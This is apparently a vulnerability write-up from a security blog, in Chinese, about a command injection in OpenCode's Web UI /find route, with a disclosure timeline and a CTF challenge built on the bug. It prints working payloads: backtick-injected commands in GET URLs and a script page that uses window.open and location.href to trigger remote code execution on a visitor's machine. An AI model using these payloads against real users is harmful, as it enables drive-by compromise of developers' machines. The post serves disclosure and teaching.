Skip to content
Go back

OpenShell: Ripgrep Command Injection in OpenCode Web UI

Edit page

Table of contents

Open Table of contents

Analysis

今年给 NCTF 2026 出了一道关于 OpenCode 的题目,思路来源于两个月前挖的一个命令注入,当时通过 GitHub Advisory 提交给官方但是迟迟不见回复,后来一看竟然被官方偷偷修复了,着实有点难绷

OpenCode 存在一个 Web UI 功能,允许通过 opencode web 命令在本地启动 Web 网页,方便用户在浏览器中进行 vibe coding

https://opencode.ai/docs/web/

Web UI 暴露了一系列的 API 路由,其中之一是 /find 路由

https://github.com/anomalyco/opencode/blob/v1.2.16/packages/opencode/src/server/routes/file.ts#L37

const pattern = c.req.valid("query").pattern // GET parameter
const result = await Ripgrep.search({
  cwd: Instance.directory,
  pattern,
  limit: 10,
})
return c.json(result)

/find 路由会调用 ripgrep 命令对文件内容进行搜索

https://github.com/anomalyco/opencode/blob/v1.2.16/packages/opencode/src/file/ripgrep.ts#L333

const args = [`${await filepath()}`, "--json", "--hidden", "--glob='!.git/*'"]
if (input.follow) args.push("--follow")

if (input.glob) {
  for (const g of input.glob) {
    args.push(`--glob=${g}`)
  }
}

if (input.limit) {
  args.push(`--max-count=${input.limit}`)
}

args.push("--")
args.push(input.pattern)

const command = args.join(" ")
const result = await $`${{ raw: command }}`.cwd(input.cwd).quiet().nothrow() // command injection
if (result.exitCode !== 0) {
  return []
}

跟进后发现会将 GET 输入拼接到 ripgrep 的参数里面然后直接执行命令

代码中的 $ 表示 Bun 的命令执行语法:https://bun.com/docs/runtime/shell

这种语法在默认情况下使用不会存在任何问题,然而这里却错误的加上了 raw 参数,这会导致传入的命令参数不会被转义,因此存在命令注入漏洞

在理想情况下,只需要向如下的 URL 发起 GET 请求就可以实现 RCE

http://127.0.0.1:4096/find?pattern=`open%20-a%20Calculator`

正常用户在使用的时候通常会通过 opencode web 命令在本地启动 Web UI,即使不按照文档的要求设置 OPENCODE_SERVER_PASSWORD 鉴权,用户也会认为不存在安全风险,因为 Web UI 默认只监听在 127.0.0.1:4096,不会被外部访问

https://opencode.ai/docs/web/

警告:如果未设置 OPENCODE_SERVER_PASSWORD,服务器将没有安全保护。本地使用没有问题,但在网络访问时应当设置密码。

然而,结合上面的 /find 路由,这里实际上存在 localhost CSRF 漏洞(应该叫这个?)

假如用户使用浏览器访问了攻击者可控的钓鱼网页,那么攻击者就可以通过 HTML or JS 代码来向 localhost API 发起跨域请求,导致 CSRF

这种 localhost 跨域请求可以通过配置 CORS 策略来避免,OpenCode Web UI 服务端也实现了很严格的 CORS 策略

https://github.com/anomalyco/opencode/blob/v1.2.16/packages/opencode/src/server/server.ts#L108

.use(
  cors({
    origin(input) {
      if (!input) return

      if (input.startsWith("http://localhost:")) return input
      if (input.startsWith("http://127.0.0.1:")) return input
      if (
        input === "tauri://localhost" ||
        input === "http://tauri.localhost" ||
        input === "https://tauri.localhost"
      )
        return input

      // *.opencode.ai (https only, adjust if needed)
      if (/^https:\/\/([a-z0-9-]+\.)*opencode\.ai$/.test(input)) {
        return input
      }
      if (_corsWhitelist.includes(input)) {
        return input
      }

      return
    },
  }),
)

但在这里实际上是不起作用的,因为上述的 /find 路由是一个 GET 请求

你仍然可以通过 fetch 来发起跨域请求,只是受限于 CORS 不能够读取 response 而已

在实际测试的时候发现 Chrome 官方在 142 版本中引入了 LNA(Local Network Access)规范,会限制浏览器访问本地的网络资源

https://developer.chrome.com/blog/local-network-access?hl=zh-cn

https://docs.google.com/document/u/0/d/1QQkqehw8umtAgz5z0um7THx-aoU251p705FbIQjDuGs/mobilebasic?hl=zh-cn

当网站访问用户本地网络(内网 IP 或 loopback 地址)时,会弹出提示框让用户确认是否允许访问(前提是网站为 HTTPS 协议,即安全上下文)

如果网站为 HTTP 协议,则会拒绝访问并显示如下的报错:

Access to fetch at 'http://127.0.0.1:4096/find?pattern=`id%3E/tmp/pwned`' from origin 'http://1.2.3.4:5678' has been blocked by CORS policy: The request client is not a secure context and the resource is in more-private address space `loopback`.

所以原本我想的利用 fetch 以及 script、img 跨域标签的思路就不可用了

不过由于这个 localhost CSRF 足够简单(GET 请求),所以可以曲线救国使用 window.openlocation.href 的方式进行触发

因此,在这种场景下,如果用户访问了 attacker.com,攻击者在 HTML 中使用如下的 payload,就可以直接在用户机器上实现 RCE

<script>
window.open("http://127.0.0.1:4096/find?pattern=`open%20-a%20Calculator`");
</script>
<script>
location.href = "http://127.0.0.1:4096/find?pattern=`open%20-a%20Calculator`";
</script>

Timeline

2026.02.24:提交漏洞报告

https://github.com/anomalyco/opencode/security/advisories/GHSA-9mfq-vx9c-m9r2

2026.03.03:补充漏洞信息

It's worth noting that the official OpenCode documentation (https://opencode.ai/docs/web/) explicitly states:

> Caution: If `OPENCODE_SERVER_PASSWORD` is not set, the server will be unsecured. **This is fine for local use** but should be set for network access.

However, even for local use, the security issue above still exist in this case.

2026.03.10:官方偷偷修复

https://github.com/anomalyco/opencode/commit/2f2856e20ad3433e6d82ff8d2e51f4ff14f9f098

https://github.com/anomalyco/opencode/pull/16286

2026.03.14:在 GitHub Advisory 中询问报告的处理进度,迟迟没有回复,索性直接出成 CTF 题 😋

NCTF 2026

https://github.com/X1cT34m/NCTF2026/tree/main/Web/OpenShell

其实就是基于前面的内容弄了一个 playwright bot,模拟用户被钓鱼的场景

const express = require("express");
const { chromium } = require("playwright-core");

const app = express();
app.use(express.json());

const visitUrl = async (url) => {
    let browser;
    try {
        browser = await chromium.launch({
            headless: true,
            executablePath: "/usr/bin/chromium-headless-shell",
            args: [
                "--no-sandbox",
                "--disable-gpu",
                "--disable-dev-shm-usage",
            ],
        });
        const context = await browser.newContext();
        const page = await context.newPage();
        await page.goto(url, { waitUntil: "domcontentloaded", timeout: 15_000 });
        await page.waitForTimeout(15_000);
        await context.close();
    } catch (error) {
        console.error(JSON.stringify({ url, error: String(error) }));
    } finally {
        if (browser) {
            await browser.close();
        }
    }
};

app.post("/report", (req, res) => {
    const { url } = req.body;
    const parsed = new URL(url);

    if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
        return res.status(400).json({
            ok: false,
            error: "invalid url",
        });
    }

    if (!parsed.hostname.endsWith('.pages.dev')) {
        return res.status(400).json({
            ok: false,
            error: "invalid url",
        });
    }

    setImmediate(() => visitUrl(url));

    return res.status(200).json({
        ok: true,
        message: "accepted",
    });
});

app.listen(8000, "0.0.0.0", () => {
    console.log(`bot listening on 0.0.0.0:8000`);
});

在 Cloudflare Pages 中部署相关 HTML 源码就行

赛后统计了一下解题情况,校内外一共 919 支队伍,其中只有 31 支队伍成功解出了这道题目,考虑到今年抓 PY 的情况,实际这个数字还要再少一点点


Edit page
Share this post on:

Next Post
Attack Surface Analysis of Cursor